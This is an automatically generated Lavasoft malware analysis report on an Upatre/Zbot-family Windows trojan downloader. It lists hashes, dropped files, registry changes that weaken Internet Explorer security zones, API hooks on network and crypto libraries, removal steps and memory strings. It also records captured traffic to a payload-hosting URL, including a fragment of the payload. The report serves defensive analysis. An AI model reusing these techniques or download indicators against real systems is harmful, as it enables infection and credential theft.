Gen:Variant.Kazy.337492 (BitDefender), TrojanDownloader:Win32/Upatre.L (Microsoft), Trojan.Win32.Bublik.casi (Kaspersky), Trojan.Win32.Upatre.jr (v) (VIPRE), Trojan.DownLoad3.28161 (DrWeb), Gen:Variant.Kazy.337492 (B) (Emsisoft), Downloader-FSH!CF4A38FD8F57 (McAfee), Trojan.Zbot (Symantec), Gen:Variant.Kazy.337492 (FSecure), Generic35.BVIS (AVG), Win32:Malware-gen (Avast), TROJ_UPATRE.SMBX (TrendMicro), Gen:Variant.Kazy.337492 (AdAware), Trojan-PSW.Win32.Zbot.4.FD, GenericInjector.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan-PSW, Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: cf4a38fd8f57e5ba1e9ce16d4c35d6df
SHA1: 6539aeeb0850569248e441ef73500cf9c3b936fe
SHA256: 922915bd187adb013b53cc24cad85a5b7ba5a0f62a6d2b9c159eca05db2de0a1
SSDeep: 384:KP be5GzzM5jHXRrs905INeZCFtejlIko5dN127BFVn2p4lAnZ8OxsBCtFWg:E 60zsjHXRrs9sINeZEtejlIkoLN127w
Size: 18544 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2013-04-08 06:45:01
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
lipoty.exe:1200
update_pdf.exe:1848
%original file name%.exe:608
acwuq.exe:448
The Trojan injects its code into the following process(es):
Explorer.EXE:1604
File activity
The process lipoty.exe:1200 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Application Data\Umveqe\acwuq.exe (2447 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KUI106D.bat (175 bytes)
The process update_pdf.exe:1848 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\lipoty.exe (1623 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\O1Q3GHUJ\14USp[1].pdd (295 bytes)
The process %original file name%.exe:608 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\update_pdf.exe (18 bytes)
The process acwuq.exe:448 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (7720 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (7172 bytes)
Registry activity
The process lipoty.exe:1200 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D2 92 01 8E AC 2B 56 D3 27 D0 9B 92 3A 48 AF FA"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
The process update_pdf.exe:1848 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"lipoty.exe" = "lipoty"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D F4 44 91 B9 C9 62 0A 7C 2B F5 A4 1F 03 AA 94"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process %original file name%.exe:608 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A1 85 96 56 F6 B2 C8 A0 BF 00 C0 8E FA 72 EC 56"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"update_pdf.exe" = "update_pdf"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process acwuq.exe:448 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D E6 87 EE F8 29 38 66 3A 2E A1 9F F6 28 90 44"
[HKCU\Software\Microsoft\Yhyxovf]
"14621f9b" = "8A 0D B8 20 71 85 78 48 8F F2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
Dropped PE files
MD5 | File path |
---|---|
dcc1f7ebcd0355623d0baa2388bfa15d | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Umveqe\acwuq.exe |
0286c900d6344c78d1dd5349ea08d18b | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\update_pdf.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
The Trojan installs the following user-mode hooks in WININET.dll:
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetWriteFile
InternetWriteFileExA
InternetQueryDataAvailable
HttpQueryInfoW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
The Trojan installs the following user-mode hooks in CRYPT32.dll:
PFXImportCertStore
The Trojan installs the following user-mode hooks in USER32.dll:
GetClipboardData
TranslateMessage
The Trojan installs the following user-mode hooks in Secur32.dll:
DecryptMessage
SealMessage
DeleteSecurityContext
The Trojan installs the following user-mode hooks in WS2_32.dll:
WSAGetOverlappedResult
WSASend
recv
gethostbyname
WSARecv
send
closesocket
freeaddrinfo
getaddrinfo
GetAddrInfoW
The Trojan installs the following user-mode hooks in ntdll.dll:
LdrLoadDll
NtCreateThread
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
lipoty.exe:1200
update_pdf.exe:1848
%original file name%.exe:608
acwuq.exe:448 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Application Data\Umveqe\acwuq.exe (2447 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KUI106D.bat (175 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\lipoty.exe (1623 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\O1Q3GHUJ\14USp[1].pdd (295 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\update_pdf.exe (18 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT.LOG (7720 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 3166 | 3584 | 4.96115 | 9c9b9dcb2cd71c358d6464bfa00058bd |
.rdata | 8192 | 946 | 1024 | 2.99195 | 362851758a0ddb64e690b73c5d51f056 |
.data | 12288 | 1280 | 1536 | 3.50283 | 513a26dde7d20e49eb60204d596b1b70 |
.rsrc | 16384 | 10800 | 11264 | 3.80346 | d830c37dd0fe902b8ebae3264e3674c2 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://nevcoengineers.com/img/scenes/14USp.pdd | |
www.nevcoengineers.com | 204.11.59.239 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /img/scenes/14USp.pdd HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: VVV.nevcoengineers.com
Cache-Control: no-cache
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 18 Mar 2014 16:56:25 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 PHP/5.4.26
Last-Modified: Fri, 14 Feb 2014 15:23:31 GMT
ETag: "4f68-4806f-4f25f637d7d6f"
Accept-Ranges: bytes
Content-Length: 295023
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
ZZP....p.%.>...............<.......=..."Z....x.=X......T...M...O.......S.......O...=...y...P...X...7....7l8.s.V.D...DM......GJ......hO....\.x...... P.......D...P.......~J....\yD".:zu.?..&....o...<.......=.....^...0.....<...=..w.j1.7.1..a!".%4.?.4.=.7.=f<.=.......<...'a.$>...=.......9.........5.....I..PI`.......!.#........O.........q.. ......~..!4.5.z..b}.u....b....O.u...u.......y.........>...=.>N....k......)=.?......`..{du.9....`..H..I=...C..".....j..>....c.J=m..-.J.1@.JBP..=...x...=`.Jk .Tx...d...2W......7.......=...=.........].6...-...c)vn,...b...^K..=#>.....}^B.}...?X<.{....a.?...2..>.<.>U......."?.......qY......y......]2...om.A..J..Y..>_..|A..<...7#>...<..aTC..t.....>!.#..E.<K.n...)x`.!...&.!..I....1..`.J.Y....@.)-.......k...?..2...`<`..8...k.......EA.^..../......Rk..".pU..A..u...zk......U`U.....9...m./.?...r..lj......cm...]@.)......^....).............k.)O...k.E..D.....B;.u...V...>.5....^....<..A..k.. @.<..i...i.J....\....i.N......<..k....<......m.........b}...\...<...U.......U!........g.u.....u..kd)`.....>.}.t\=).Tu#}........Oo......;..h.6.....>ju.].....dkv....`..g.=.wa...)x.I!...R...!..>.>.I.=.6L).g)`d.a...)(u..=..J..J]..w)5.x.....g.F..]H.....j...]....J....>...]'].. p.....M)2...p.].=..aH..Jj`.'....z.J....)......t.....N.]._.^...u.c.|`5..!..>.>(... ........[..../9a.)p.>.<#?.:j.a=..b>...1.].....}k....MS1.....>.1k..5k}J.1.cH.......z..M. ..ckP.`@.*:.v.j..)...\...27..!....=.Z.b.v...F...v.......$'
<<
<<< skipped >>>
Map
Strings from Dumps
Explorer.EXE_1604_rwx_01F60000_00048000:
.text
.text
`.data
`.data
.idata
.idata
@.reloc
@.reloc
Invalid parameter passed to C runtime function.
Invalid parameter passed to C runtime function.
>$>,>4><>
>$>,>4><>
0123456789
0123456789
http://www.google.com/
http://www.google.com/
http://www.bing.com/
http://www.bing.com/
REPORT
REPORT
HTTP/1.1
HTTP/1.1
RegDeleteKeyExW
RegDeleteKeyExW
gdiplus.dll
gdiplus.dll
GdiplusShutdown
GdiplusShutdown
.TJFZAIY]JD^"
.TJFZAIY]JD^"
?:527|:!;8
?:527|:!;8
!1 (##!(
!1 (##!(
Kmv`jn`%fnfnzg,bt3crd~da4
Kmv`jn`%fnfnzg,bt3crd~da4
1&,$=OJ-:&#O-
1&,$=OJ-:&#O-
-.ynp<</pre><pre>'2$4>%|903</pre><pre>: 8? 1 !</pre><pre>userenv.dll</pre><pre>del "%s"</pre><pre>if exist "%s" goto d</pre><pre>del /F "%s"</pre><pre>w%fkN</pre><pre>t.Ht$HHt</pre><pre>L$Â$</pre><pre>m9.td</pre><pre>zcÁ</pre><pre>.zN6KFL</pre><pre>fd%C?</pre><pre>ntdll.dll</pre><pre>KERNEL32.dll</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MsgWaitForMultipleObjects</pre><pre>USER32.dll</pre><pre>CryptGetKeyParam</pre><pre>CryptImportKey</pre><pre>CryptDestroyKey</pre><pre>RegCreateKeyExW</pre><pre>RegCloseKey</pre><pre>RegQueryInfoKeyW</pre><pre>RegDeleteKeyW</pre><pre>RegOpenKeyExW</pre><pre>RegFlushKey</pre><pre>RegEnumKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>ole32.dll</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>PFXImportCertStore</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>InternetCrackUrlA</pre><pre>HttpOpenRequestA</pre><pre>HttpEndRequestA</pre><pre>HttpAddRequestHeadersA</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>IPHLPAPI.DLL</pre><pre>VERSION.dll</pre><pre>msvcrt.dll</pre><pre>9 9$9(9,9094989</pre><pre>> >$>(>,>0>4>|></pre><pre>00D0K0_0q0z0</pre><pre>:!:(:,:1:8:^:</pre><pre>\StringFileInfo\xx\%s</pre><pre>urlmon.dll</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s</pre><pre>kernel32.dll</pre><pre>launchpadshell.exe</pre><pre>dirclt32.exe</pre><pre>wtng.exe</pre><pre>prologue.exe</pre><pre>pcsws.exe</pre><pre>fdmaster.exe</pre><pre>shell32.dll</pre><pre>cabinet.dll</pre><pre>Wadvapi32.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>%Documents and Settings%\%current user%\Local Settings\Application Data</pre><pre>Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}</pre>